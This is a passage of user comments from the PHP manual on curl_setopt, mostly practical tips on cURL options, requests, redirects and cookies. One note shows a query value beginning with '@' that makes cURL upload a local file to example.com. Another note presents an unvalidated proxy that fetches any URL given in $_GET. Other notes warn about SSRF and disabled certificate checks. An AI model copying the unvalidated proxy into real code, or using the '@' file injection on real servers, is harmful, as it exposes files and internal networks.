      "example.com"    /* Hostname */
      SEP "FALSE"      /* Include subdomains */
      SEP "/"          /* Path */
      SEP "FALSE"      /* Secure */
      SEP "0"          /* Expiry in epoch time format. 0 == Session */
      SEP "foo"        /* Name */
      SEP "bar";       /* Value */
joelhy 04-Jan-2016 10:19
Please notice that CURLINFO_HEADER_OUT and CURLOPT_VERBOSE option does not work together:
"When CURLINFO_HEADER_OUT is set to TRUE than CURLOPT_VERBOSE does not work."(from https://bugs.php.net/bug.php?id=65348).
This took me an hour or two to figure it out.
jancister at gmail dot com 12-Mar-2015 04:09
Please note that if you want to handle progress using CURLOPT_PROGRESSFUNCTION option, you need to take into consideration what version of PHP are you using. Since version 5.5.0, compatibility-breaking change was introduced in number/order of the arguments passed to the callback function, and cURL resource is now passed as first argument.

Prior to version 5.5.0:
<?php
// ...
curl_setopt($resource, CURLOPT_PROGRESSFUNCTION, 'progressCallback');
curl_setopt($resource, CURLOPT_NOPROGRESS, false);
// ...
function progressCallback($download_size = 0, $downloaded = 0, $upload_size = 0, $uploaded = 0)
{
    // Handle progress
}
?>

From version 5.5.0:
<?php
// ...
curl_setopt($resource, CURLOPT_PROGRESSFUNCTION, 'progressCallback');
curl_setopt($resource, CURLOPT_NOPROGRESS, false);
// ...
function progressCallback($resource, $download_size = 0, $downloaded = 0, $upload_size = 0, $uploaded = 0)
{
    // Handle progress
}
?>

However, if your code needs to be compatible with PHP version both before and after 5.5.0, consider adding a version check:
<?php
// ...
curl_setopt($resource, CURLOPT_PROGRESSFUNCTION, 'progressCallback');
curl_setopt($resource, CURLOPT_NOPROGRESS, false);
// ...
function progressCallback($resource, $download_size = 0, $downloaded = 0, $upload_size = 0, $uploaded = 0)
{
   /**
    * $resource parameter was added in version 5.5.0 breaking backwards compatibility;
    * if we are using PHP version lower than 5.5.0, we need to shift the arguments
    * @see http://php.net/manual/en/function.curl-setopt.php#refsect1-function.curl-setopt-changelog
    */
    if (version_compare(PHP_VERSION, '5.5.0') < 0) {
        $uploaded = $upload_size;
        $upload_size = $downloaded;
        $downloaded = $download_size;
        $download_size = $resource;
    }

    // Handle progress
}
?>
Aaron Wells 24-Nov-2014 11:34
If you use cURL to fetch user-supplied URLs (for instance, in a web-based RSS aggregator), be aware of the risk of server-side request forgery (SSRF). This is an attack where the user takes advantage of the fact that cURL requests are sent from the web server itself, to reach network locations they wouldn't be able to reach from outside the network.

For instance, they could enter a "http://localhost" URL, and access things on the web server via "localhost". Or, "ftp://localhost". cURL supports a lot of protocols!

If you are using CURLOPT_FOLLOWLOCATION, the malicious URL could be in a redirect from the original request. cURL also will follow redirect headers to other protocols! (303 See Other; Location: ftp://localhost).

So if you're using cURL with user-supplied URLs, at the very least use CURLOPT_PROTOCOLS (which also sets CURLOPT_REDIR_PROTOCOLS), and either disable CURLOPT_FOLLOWLOCATION or use the "SafeCurl" library to safely follow redirects.
Martin K. 24-Feb-2014 05:36
If you only want to enable cookie handling and you don't need to save the cookies for a separate session, just set CURLOPT_COOKIEFILE to an empty string.  I was given the advice to use php://memory but that did not seem to have the same effect.

Although this is stated in the documentation I thought it was worth reiterating since it cause me so much trouble.
badman 15-Nov-2013 10:36
Many hosters use PHP safe_mode or/and open_basedir, so you can't use CURLOPT_FOLLOWLOCATION. If you try, you see message like this:
CURLOPT_FOLLOWLOCATION cannot be activated when safe_mode is enabled or an open_basedir is set in [you script name & path] on line XXX

First, I try to use zsalab function (http://us2.php.net/manual/en/function.curl-setopt.php#102121) from this page, but for some reason it did not work properly. So, I wrote my own.

It can be use instead of curl_exec. If server HTTP response codes is 30x, function will forward the request as long as the response is not different from 30x (for example, 200 Ok). Also you can use POST.

function curlExec(/* Array */$curlOptions='', /* Array */$curlHeaders='', /* Array */$postFields='')
{
  $newUrl = '';
  $maxRedirection = 10;
  do
  {
    if ($maxRedirection<1) die('Error: reached the limit of redirections');

    $ch = curl_init();
    if (!empty($curlOptions)) curl_setopt_array($ch, $curlOptions);
    if (!empty($curlHeaders)) curl_setopt($ch, CURLOPT_HTTPHEADER, $curlHeaders);
    if (!empty($postFields))
    {
      curl_setopt($ch, CURLOPT_POST, 1);
      curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields);
    }

    if (!empty($newUrl)) curl_setopt($ch, CURLOPT_URL, $newUrl); // redirect needed

    $curlResult = curl_exec($ch);
    $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

    if ($code == 301 || $code == 302 || $code == 303 || $code == 307)
    {
      preg_match('/Location:(.*?)\n/', $curlResult, $matches);
      $newUrl = trim(array_pop($matches));
      curl_close($ch);

      $maxRedirection--;
      continue;
    }
    else // no more redirection
    {
      $code = 0;
      curl_close($ch);
    }
  }
  while($code);
  return $curlResult;
}
shiplu at programmer dot net 01-Jun-2013 06:23
CURLOPT_POST should be set before CURLOPT_POSTFIELDS. Otherwise you might encounter 411 Length required error.

Following code generates "411 Length Required" on nginx/1.1.15
<?php
curl_setopt ($ch, CURLOPT_POSTFIELDS, $postfields);
curl_setopt ($ch, CURLOPT_POST, 1);
?>

But this one works.

<?php
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $postfields);
?>
Madcat 06-May-2013 03:14
If you have a mixture of strings starting with @ (at character) and files in CURLOPT_POSTFIELDS you have a problem (such as posting a tweet with attached media) because curl tries to interpret anything starting with @ as a file.

<?php

$postfields = array(
    'upload_file' => '@file_to_upload.png',
    'upload_text' => '@text_to_upload'
);

$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, 'http://example.com/upload-test');
curl_setopt($curl, CURLOPT_POSTFIELDS, $postfields);
curl_exec($curl);
curl_close($curl);

?>

To get around this, prepend the text string with the NULL character like so:

<?php
    $postfields = array(
        'upload_file' => '@file_to_upload.png',
        'upload_text' => sprintf("\0%s", '@text_to_upload')
    );
?>

Original source: http://bit.ly/AntMle
rmckay at webaware dot com dot au 24-Oct-2012 12:21
Please everyone, stop setting CURLOPT_SSL_VERIFYPEER to false or 0. If your PHP installation doesn't have an up-to-date CA root certificate bundle, download the one at the curl website and save it on your server:

http://curl.haxx.se/docs/caextract.html

Then set a path to it in your php.ini file, e.g. on Windows:

curl.cainfo=c:\php\cacert.pem

Turning off CURLOPT_SSL_VERIFYPEER allows man in the middle (MITM) attacks, which you don't want!
regan dot corey at gmail dot com 22-Oct-2012 10:22
I spent a couple of days trying to POST a multi-dimensional array of form fields, including a file upload, to a remote server to update a product. Here are the breakthroughs that FINALLY allowed the script to run as desired.

Firstly, the HTML form used input names like these:
<input type="text" name="product[name]" />
<input type="text" name="product[cost]" />
<input type="file" name="product[thumbnail]" />
in conjunction with two other form inputs not part of the product array
<input type="text" name="method" value="put" />
<input type="text" name="mode" />

I used several cURL options, but the only two (other than URL) that mattered were:
curl_setopt($handle, CURLOPT_POST, true);
curl_setopt($handle, CURLOPT_POSTFIELDS, $postfields);
Pretty standard so far.
Note: headers didn't need to be set, cURL automatically sets headers (like content-type: multipart/form-data; content-length...) when you pass an array into CURLOPT_POSTFIELDS.
Note: even though this is supposed to be a PUT command through an HTTP POST form, no special PUT options needed to be passed natively through cURL. Options such as
curl_setopt($handle, CURLOPT_HTTPHEADER, array('X-HTTP-Method-Override: PUT', 'Content-Length: ' . strlen($fields)));
or
curl_setopt($handle, CURLOPT_PUT, true);
or
curl_setopt($handle, CURLOPT_CUSTOMREQUEST, "PUT);
were not needed to make the code work.

The fields I wanted to pass through cURL were arranged into an array something like this:
$postfields = array("method" => $_POST["method"],
                    "mode" => $_POST["mode"],
                    "product" => array("name" => $_POST["product"],
                                        "cost" => $_POST["product"]["cost"],
                                        "thumbnail" => "@{$_FILES["thumbnail"]["tmp_name"]};type={$_FILES["thumbnail"]["type"]}")
                    );

-Notice how the @ precedes the temporary filename, this creates a link so PHP will upload/transfer an actual file instead of just the file name, which would happen if the @ isn't included.
-Notice how I forcefully set the mime-type of the file to upload. I was having issues where images filetypes were defaulting to octet-stream instead of image/png or image/jpeg or whatever the type of the selected image.

I then tried passing $postfields straight into curl_setopt($this->handle, CURLOPT_POSTFIELDS, $postfields); but it didn't work.
I tried using http_build_query($postfields); but that didn't work properly either.
In both cases either the file wouldn't be treated as an actual file and the form data wasn't being sent properly. The problem was HTTP's methods of transmitting arrays. While PHP and other languages can figure out how to handle arrays passed via forms, HTTP isn't quite as sofisticated. I had to rewrite the $postfields array like so:
$postfields = array("method" => $_POST["method"],
                    "mode" => $_POST["mode"],
                    "product[name]" => $_POST["product"],
                    "product[cost]" => $_POST["product"]["cost"],
                    "product[thumbnail]" => "@{$_FILES["thumbnail"]["tmp_name"]}");
curl_setopt($handle, CURLOPT_POSTFIELDS, $postfields);

This, without the use of http_build_query, solved all of my problems. Now the receiving host outputs both $_POST and $_FILES vars correctly.
juozaspo at gmail dot com 25-Sep-2012 08:47
I've created an example that gets the file on url passed to script and outputs it to the browser.

<?php
//get the file (e.g. image) and output it to the browser
$ch = curl_init(); //open curl handle
curl_setopt($ch, CURLOPT_URL, $_GET['url']); //set an url
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //do not output directly, use variable
curl_setopt($ch, CURLOPT_BINARYTRANSFER, 1); //do a binary transfer
curl_setopt($ch, CURLOPT_FAILONERROR, 1); //stop if an error occurred
$file=curl_exec($ch); //store the content in variable
if(!curl_errno($ch))
{
    //send out headers and output
    header ("Content-type: ".curl_getinfo($ch, CURLINFO_CONTENT_TYPE)."");
    header ("Content-Length: ".curl_getinfo($ch, CURLINFO_CONTENT_LENGTH_DOWNLOAD)."");
    echo $file;
} else echo 'Curl error: ' . curl_error($ch);
curl_close($ch); //close curl handle
?>

p.s. Make sure that there're no new lines before and after code or script may not work.
qeremy [atta] gmail [dotta] com 03-Aug-2012 08:57
If you are trying to update something on your server and you need to handle this update operation by PUT;

<?php
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "PUT");
curl_setopt($ch, CURLOPT_PUT, 1);
?>

are "useless" without;

<?php
curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-HTTP-Method-Override: PUT'));
?>

Example;

Updating a book data in database identified by "id 1";

--cURL Part--
<?php
$data = http_build_query($_POST);
// or
$data = http_build_query(array(
   'name'  => 'PHP in Action',
   'price' => 10.9
));

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://api.localhost/rest/books/1");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "PUT"); // no need anymore
// or
// curl_setopt($ch, CURLOPT_PUT, 1); // no need anymore
curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-HTTP-Method-Override: PUT'));
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$ce = curl_exec($ch);
curl_close($ch);
print_r($ce);
?>

--API class--
<?php
public function putAction() {
    echo "putAction() -> id: ". $this->_getParam('id') ."\n";
    print_r($_POST);
    // do stuff with post data
    ...
?>

--Output--
putAction() -> id: 15
Array
(
    [name] => PHP in Action
    [price] => 10.9
)

---Keywords--
rest, restfull api, restfull put, curl put, curl customrequest put
adrian at foeder dot de 06-Jul-2012 07:37
if you want to do a GET request with additional body data it will become tricky not to implicitly change the request to a POST, like many notes below correctly state.
So to do the analogy of command line's

curl -XGET 'http://example.org?foo=bar' -d '<baz>some additional data</baz>'

in PHP you'll do, besides your other necessary stuff,

<?php
    curl_setopt($curlHandle, CURLOPT_CUSTOMREQUEST, 'GET');
    curl_setopt($curlHandle, CURLOPT_POSTFIELDS, '<baz>some additional data</baz>');
?>

during my experiments, every other "similar" way, like e.g. CURLOPT_HTTPGET, didn't send the additional data or fell into POST.
Joey Hewitt 17-Apr-2012 10:52
Note that if you put a certificate chain in a PEM file, the certificates need to be ordered so that each certificate is followed by its issuer (i.e., root last.)

Source: http://publib.boulder.ibm.com/tividd/td/ITIM/SC32-1493-00/en_US/HTML/im451_config09.htm
anonymous 03-Apr-2012 03:55
This may be not obvious, but if you specify the CURLOPT_POSTFIELDS and don't specify the CURLOPT_POST - it will still send POST, not GET (as you might think - since GET is default).
So the line:

curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

is synonym to:

curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

Even if you set the options like this (in this order):

curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

it will send POST, since CURLOPT_POSTFIELDS is latter.
So if you want GET - make sure you don't have CURLOPT_POSTFIELDS specified somewhere.
mw+php dot net at lw-systems dot de 31-Mar-2012 06:45
The description of the use of the CURLOPT_POSTFIELDS option should be emphasize, that using POST with HTTP/1.1 with cURL implies the use of a "Expect: 100-continue" header. Some web servers will not understand the handling of chunked transfer of post data.

To disable this behavior one must disable the use of the "Expect:" header with

    curl_setopt($ch, CURLOPT_HTTPHEADER,array("Expect:"));
Adam Monsen 10-Jan-2012 04:36
CURLOPT_POST must be left unset if you want the Content-Type header set to "multipart/form-data" (e.g., when CURLOPT_POSTFIELDS is an array). If you set CURLOPT_POSTFIELDS to an array and have CURLOPT_POST set to TRUE, Content-Length will be -1 and most sane servers will reject the request. If you set CURLOPT_POSTFIELDS to an array and have CURLOPT_POST set to FALSE, cURL will send a GET request.
Steve Kamerman 24-Jun-2011 11:47
If you want cURL to timeout in less than one second, you can use CURLOPT_TIMEOUT_MS, although there is a bug/"feature"  on "Unix-like systems" that causes libcurl to timeout immediately if the value is < 1000 ms with the error "cURL Error (28): Timeout was reached".  The explanation for this behavior is:

"If libcurl is built to use the standard system name resolver, that portion of the transfer will still use full-second resolution for timeouts with a minimum timeout allowed of one second."

What this means to PHP developers is "You can use this function without testing it first, because you can't tell if libcurl is using the standard system name resolver (but you can be pretty sure it is)"

The problem is that on (Li|U)nix, when libcurl uses the standard name resolver, a SIGALRM is raised during name resolution which libcurl thinks is the timeout alarm.

The solution is to disable signals using CURLOPT_NOSIGNAL.  Here's an example script that requests itself causing a 10-second delay so you can test timeouts:

<?php
if (!isset($_GET['foo'])) {
        // Client
        $ch = curl_init('http://localhost/test/test_timeout.php?foo=bar');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_NOSIGNAL, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT_MS, 200);
        $data = curl_exec($ch);
        $curl_errno = curl_errno($ch);
        $curl_error = curl_error($ch);
        curl_close($ch);

        if ($curl_errno > 0) {
                echo "cURL Error ($curl_errno): $curl_error\n";
        } else {
                echo "Data received: $data\n";
        }
} else {
        // Server
        sleep(10);
        echo "Done.";
}
?>
PHP at RHaworth dot net 02-Apr-2011 02:31
When CURLOPT_FOLLOWLOCATION and CURLOPT_HEADER are both true and redirect/s have happened then the header returned by curl_exec() will contain all the headers in the redirect chain in the order they were encountered.
S\ 18-Feb-2011 11:04
When using CURLOPT_POSTFIELDS with an array as parameter, you have to pay high attention to user input. Unvalidated user input will lead to serious security issues.

<?php

/**
 * test.php:
 */
$ch = curl_init('http://example.com');

curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, array(
    'foo' => $_GET['bar']
));

curl_exec($ch);

?>

Requesting "test.php?bar=@/home/user/test.png" will send "test.png" to example.com.
Make sure you remove the leading "@" from user input.
zsalab 27-Jan-2011 05:12
Handling redirections with curl if safe_mode or open_basedir is enabled. The function working transparent, no problem with header and returntransfer options. You can handle the max redirection with the optional second argument (the function is set the variable to zero if max redirection exceeded).
Second parameter values:
- maxredirect is null or not set: redirect maximum five time, after raise PHP warning
- maxredirect is greather then zero: no raiser error, but parameter variable set to zero
- maxredirect is less or equal zero: no follow redirections

<?php
function curl_exec_follow(/*resource*/ $ch, /*int*/ &$maxredirect = null) {
    $mr = $maxredirect === null ? 5 : intval($maxredirect);
    if (ini_get('open_basedir') == '' && ini_get('safe_mode' == 'Off')) {
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, $mr > 0);
        curl_setopt($ch, CURLOPT_MAXREDIRS, $mr);
    } else {
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
        if ($mr > 0) {
            $newurl = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);

            $rch = curl_copy_handle($ch);
            curl_setopt($rch, CURLOPT_HEADER, true);
            curl_setopt($rch, CURLOPT_NOBODY, true);
            curl_setopt($rch, CURLOPT_FORBID_REUSE, false);
            curl_setopt($rch, CURLOPT_RETURNTRANSFER, true);
            do {
                curl_setopt($rch, CURLOPT_URL, $newurl);
                $header = curl_exec($rch);
                if (curl_errno($rch)) {
                    $code = 0;
                } else {
                    $code = curl_getinfo($rch, CURLINFO_HTTP_CODE);
                    if ($code == 301 || $code == 302) {
                        preg_match('/Location:(.*?)\n/', $header, $matches);
                        $newurl = trim(array_pop($matches));
                    } else {
                        $code = 0;
                    }
                }
            } while ($code && --$mr);
            curl_close($rch);
            if (!$mr) {
                if ($maxredirect === null) {
                    trigger_error('Too many redirects. When following redirects, libcurl hit the maximum amount.', E_USER_WARNING);
                } else {
                    $maxredirect = 0;
                }
                return false;
            }
            curl_setopt($ch, CURLOPT_URL, $newurl);
        }
    }
    return curl_exec($ch);
}
?>
gskluzacek at gmail dot com 26-Jan-2011 01:42
FYI... unless you specifically set the user agent, no user agent will be sent in your request as there is no default value like some of the other options.

As others have said, not sending a user agent may cause you to not  get the results that you expected, e.g., 0 byte length content, different content, etc.
scy-phpmanual at scytale dot name 29-Nov-2010 04:01
In order to reset CURLOPT_HTTPHEADER, set it to array(). The cURL C API says you should set it to NULL, but that doesn't work in the PHP wrapper.
joeterranova at gmail dot com 26-Jul-2010 12:57
It appears that setting CURLOPT_FILE before setting CURLOPT_RETURNTRANSFER doesn't work, presumably because CURLOPT_FILE depends on CURLOPT_RETURNTRANSFER being set.

So do this:

<?php
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FILE, $fp);
?>

not this:

<?php
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
?>
JScott jscott401 at gmail dot com 18-Jun-2010 07:29
Some additional notes for curlopt_writefunction. I struggled with this at first because it really isn't documented very well.

When you write a callback function and use it with curlopt_writefunction it will be called MULTIPLE times. Your function MUST return the ammount of data written to it each time. It is very picky about this. Here is a snippet from my code that may help you

<?php
curl_setopt($this->curl_handle, CURLOPT_WRITEFUNCTION, array($this, "receiveResponse"));

// later on in the class I wrote my receive Response method

private function receiveResponse($curlHandle,$xmldata)
                {
                        $this->responseString = $xmldata;
                        $this->responseXML .=  $this->responseString;
                        $this->length = strlen($xmldata);
                        $this->size += $this->length;
                        return $this->length;

                }
?>

Now I did this for a class. If you aren't doing OOP then you will obviously need to modify this for your own use.

CURL calls your script MULTIPLE times because the data will not always be sent all at once. Were talking internet here so its broken up into packets. You need to take your data and concatenate it all together until it is all written. I was about to pull my damn hair out because I would get broken chunks of XML back from the server and at random lengths. I finally figured out what was going on. Hope this helps
clint at fewbar dot com 16-Apr-2010 02:56
If you have turned on conditional gets on a curl handle, and then for a subsequent request, you don't have a good setting for CURLOPT_TIMEVALUE , you can disable If-Modified-Since checking with:

<?php

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $foo);
curl_setopt($ch, CURLOPT_TIMEVALUE, filemtime($foo_path));
curl_setopt($ch, CURLOPT_TIMECONDITION, CURLOPT_TIMECOND_IFMODIFIEDSINCE);
curl_exec($ch);
// Reuse same curl handle
curl_setopt($ch, CURLOPT_URL, $bar);
curl_setopt($ch, CURLOPT_TIMEVALUE, null); // don't know mtime
curl_setopt($ch, CURLOPT_TIMECONDITION, 0); // set it to 0, turns it off
curl_exec($ch);

?>
julien veneziano 08-Apr-2010 03:56
If you need to send deta in a DELETE request, use:

<?php
$request_body = 'some data';
$ch = curl_init('http://www.example.com');
        curl_setopt($ch, CURLOPT_POSTFIELDS, $request_body);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "DELETE");
        $response = curl_exec($ch);
var_dump($response);
?>
anderseta at gmail dot com 22-Mar-2010 02:48
If you wish to find the size of the file you are streaming and use it as your header this is how:

<?php

function write_function($curl_resource, $string)
{
    if(curl_getinfo($curl_resource, CURLINFO_SIZE_DOWNLOAD) <= 2000)
    {
        header('Expires: 0');
        header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
        header('Pragma: public');
        header('Content-Description: File Transfer');
        header("Content-Transfer-Encoding: binary");
        header("Content-Type: ".curl_getinfo($curl_resource, CURLINFO_CONTENT_TYPE)."");
        header("Content-Length: ".curl_getinfo($curl_resource, CURLINFO_CONTENT_LENGTH_DOWNLOAD)."");
    }

    print $string;

    return mb_strlen($string, '8bit');
}

?>

1440 is the the default number of bytes curl will call the write function (BUFFERSIZE does not affect this, i actually think you can not change this value), so it means the headers are going to be set only one time.

write_function must return the exact number of bytes of the string, so you can return a value with mb_strlen.
Ed Cradock 05-Feb-2010 10:47
PUT requests are very simple, just make sure to specify a content-length header and set post fields as a string.

Example:

<?php
function doPut($url, $fields)
{
   $fields = (is_array($fields)) ? http_build_query($fields) : $fields;

   if($ch = curl_init($url))
   {
      curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
      curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Length: ' . strlen($fields)));
      curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
      curl_exec($ch);

      $status = curl_getinfo($ch, CURLINFO_HTTP_CODE);

      curl_close($ch);

      return (int) $status;
   }
   else
   {
      return false;
   }
}

if(doPut('http://example.com/api/a/b/c', array('foo' => 'bar')) == 200)
   // do something
else
   // do something else.
?>

You can grab the request data on the other side with:

<?php
if($_SERVER['REQUEST_METHOD'] == 'PUT')
{
   parse_str(file_get_contents('php://input'), $requestData);

   // Array ( [foo] => bar )
   print_r($requestData);

   // Do something with data...
}
?>

DELETE  can be done in exactly the same way.
Pawel Antczak 09-Dec-2009 12:07
Hello.
During problems with "CURLOPT_FOLLOWLOCATION cannot be activated when in safe_mode or an open_basedir is set"
I was looking for solution.
I've found few methods on this page, but none of them was good enough, so I made one.
<?php
function curl_redirect_exec($ch, &$redirects, $curlopt_header = false) {
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    if ($http_code == 301 || $http_code == 302) {
        list($header) = explode("\r\n\r\n", $data, 2);
        $matches = array();
        preg_match('/(Location:|URI:)(.*?)\n/', $header, $matches);
        $url = trim(array_pop($matches));
        $url_parsed = parse_url($url);
        if (isset($url_parsed)) {
            curl_setopt($ch, CURLOPT_URL, $url);
            $redirects++;
            return curl_redirect_exec($ch, $redirects);
        }
    }
    if ($curlopt_header)
        return $data;
    else {
        list(,$body) = explode("\r\n\r\n", $data, 2);
        return $body;
    }
}
?>

Main issue in existing functions was lack of information, how many redirects was done.
This one will count it.
First parameter as usual.
Second should be already initialized integer, it will be incremented by number of done redirects.
You can set CURLOPT_HEADER if You need it.
Chris at PureFormSolutions dot com 22-Sep-2009 03:54
I've found that setting CURLOPT_HTTPHEADER more than once will clear out any headers you've set previously with CURLOPT_HTTPHEADER.

Consider the following:
<?php
    # ...

    curl_setopt($cURL,CURLOPT_HTTPHEADER,array (
        "Content-Type: text/xml; CHARSET=Windows-1251",
        "Expect: 100-continue"
    ));

    # ... do some other stuff ...

    curl_setopt($cURL,CURLOPT_HTTPHEADER,array (
        "Accept: application/json"
    ));

    # ...
?>

Both the Content-Type and Expect I set will not be in the outgoing headers, but Accept will.
Tyranoweb 04-Sep-2009 02:42
There is a function to send POST data in page with five parameters :

$post must be an array
$page is the page where POST datas will be send.
$n must be true to continue if they are php redirection (Location: )
$session must be define true if you want to use cookies
$referer must be a link to get a wrong referer or only to have a referer.

<?php
function curl_data_post($post, $page, $n, $session, $referer)
    {
        if(!is_array($post))
        {
         return false;
        }

        $DATA_POST = curl_init();
        curl_setopt($DATA_POST, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($DATA_POST, CURLOPT_URL, $page);
        curl_setopt($DATA_POST, CURLOPT_POST, true);
        if($n)
        {
         curl_setopt($DATA_POST, CURLOPT_FOLLOWLOCATION, true);
        }
        if($session)
        {
         curl_setopt($DATA_POST, CURLOPT_COOKIEFILE, 'cookiefile.txt');
         curl_setopt($DATA_POST, CURLOPT_COOKIEJAR, 'cookiefile.txt');
        }

        if($referer)
        {
         curl_setopt($DATA_POST, CURLOPT_REFERER, $referer);
        }

        curl_setopt($DATA_POST, CURLOPT_POSTFIELDS, $post);
        $data = curl_exec($DATA_POST);
        if($data == false)
        {
         echo'Warning : ' . curl_error($DATA_POST);
         curl_close($DATA_POST);
         return false;
        }
        else
        {
         curl_close($DATA_POST);
         return $data;
        }
    }
?>
rob 23-Aug-2009 09:07
Whats not mentioned in the documentation is that you have to set CURLOPT_COOKIEJAR to a file for the CURL handle to actually use cookies, if it is not set then cookies will not be parsed.
Sylvain R 28-Jul-2009 03:05
When you are using CURLOPT_FILE to download directly into a file you must close the file handler after the curl_close() otherwise the file will be incomplete and you will not be able to use it until the end of the execution of the php process.

<?php

$fh = fopen('/tmp/foo', 'w');
$ch = curl_init('http://example.com/foo');
curl_setopt($ch, CURLOPT_FILE, $fh);
curl_exec($ch);
curl_close($ch);

# at this point your file is not complete and corrupted

fclose($fh);

# now you can use your file;

read_file('/tmp/foo');

?>
Victor Jerlin 03-Jul-2009 04:12
Seems like some options not mentioned on this page, but listed on http://curl.haxx.se/libcurl/c/curl_easy_setopt.html is actually supported.

I was happy to see that I could actually use CURLOPT_FTP_CREATE_MISSING_DIRS even from PHP.
xektrum at gmail dot com 02-Jul-2009 09:14
As of php 5.3 CURLOPT_PROGRESSFUNCTION its supported here's how:

<?php

function callback($download_size, $downloaded, $upload_size, $uploaded)
{
    // do your progress stuff here
}

$ch = curl_init('http://www.example.com');

// This is required to curl give us some progress
// if this is not set to false the progress function never
// gets called
curl_setopt($ch, CURLOPT_NOPROGRESS, false);

// Set up the callback
curl_setopt($ch, CURLOPT_PROGRESSFUNCTION, 'callback');

// Big buffer less progress info/callbacks
// Small buffer more progress info/callbacks
curl_setopt($ch, CURLOPT_BUFFERSIZE, 128);

$data = curl_exec($ch);

?>

Hope this help.
Andrew 14-Jun-2009 04:56
I noticed that if you want to get current cookie file after curl_exec() - you need to close current curl handle (like it said in manual), but if you want cookies to be dumped to file after any curl_exec (without curl_close) you can:

<?php
#call it normally
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_COOKIEFILE, "cookiefile");
curl_setopt($ch, CURLOPT_COOKIEJAR, "cookiefile");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_URL, 'http://www.example.com/');
$result1 = curl_exec($ch);

#and then  make a temp copy
$ch_temp=curl_copy_handle(ch);
curl_close($ch);
$ch=$ch_temp;
?>

Only this way, if you close $ch_temp - cookies wont be dumped.
urkle at outoforder dot cc 28-Jan-2009 06:49
To send a post as a different content-type (ie.. application/json or text/xml) add this setopt call

<?php
curl_setopt($ch, CURLOPT_HTTPHEADER,array('Content-Type: application/json'));
?>
fnjordy at gmail dot com 30-Nov-2008 11:28
Note that CURLOPT_RETURNTRANSFER when used with CURLOPT_WRITEFUNCTION has effectively three settings: default, true, and false.

default - callbacks will be called as expected.
true - content will be returned but callback function will not be called.
false - content will be output and callback function will not be called.

Note that CURLOPT_HEADERFUNCTION callbacks are always called.
saidk at phirebranding dot com 19-Nov-2008 01:31
Passing in PHP's $_SESSION into your cURL call:

<?php
session_start();
$strCookie = 'PHPSESSID=' . $_COOKIE['PHPSESSID'] . '; path=/';
session_write_close();

$curl_handle = curl_init('enter_external_url_here');
curl_setopt( $curl_handle, CURLOPT_COOKIE, $strCookie );
curl_exec($curl_handle);
curl_close($curl_handle);
?>

This worked great for me.  I was calling pages from the same server and needed to keep the $_SESSION variables.  This passes them over.  If you want to test, just print_r($_SESSION);

Enjoy!
fred at themancan dot com 05-Aug-2008 04:28
To find what encoding a given HTTP POST request uses is easy -- passing an array to CURLOPT_POSTFIELDS results in  multipart/form-data:

<?php
curl_setopt(CURLOPT_POSTFIELDS, array('field1' => 'value'));
?>

Passing a URL-encoded string will result in application/x-www-form-urlencoded:

<?php
curl_setopt(CURLOPT_POSTFIELDS, array('field1=value&field2=value2'));
?>

I ran across this when integrating with both a warehouse system and an email system; neither would accept multipart/form-data, but both happily accepted application/x-www-form-urlencoded.
ac at an dot y-co dot de 10-Jul-2008 10:08
If you want to connect to a server which requires that you identify yourself with a certificate, use following code. Your certificate and servers certificate are signed by an authority whose certificate is in ca.ctr.

<?php
curl_setopt($ch, CURLOPT_VERBOSE, '1');
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, '2');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, '1');
curl_setopt($ch, CURLOPT_CAINFO,  getcwd().'/cert/ca.crt');
curl_setopt($ch, CURLOPT_SSLCERT, getcwd().'/cert/mycert.pem');
curl_setopt($ch, CURLOPT_SSLCERTPASSWD, 'password');
?>

If your original certificate is in .pfx format, you have to convert it to .pem using following commands
# openssl pkcs12 -in mycert.pfx -out mycert.key
# openssl rsa -in mycert.key -out mycert.pem
# openssl x509 -in mycert.key >> mycert.pem
Salil Kothadia 19-Jun-2008 09:02
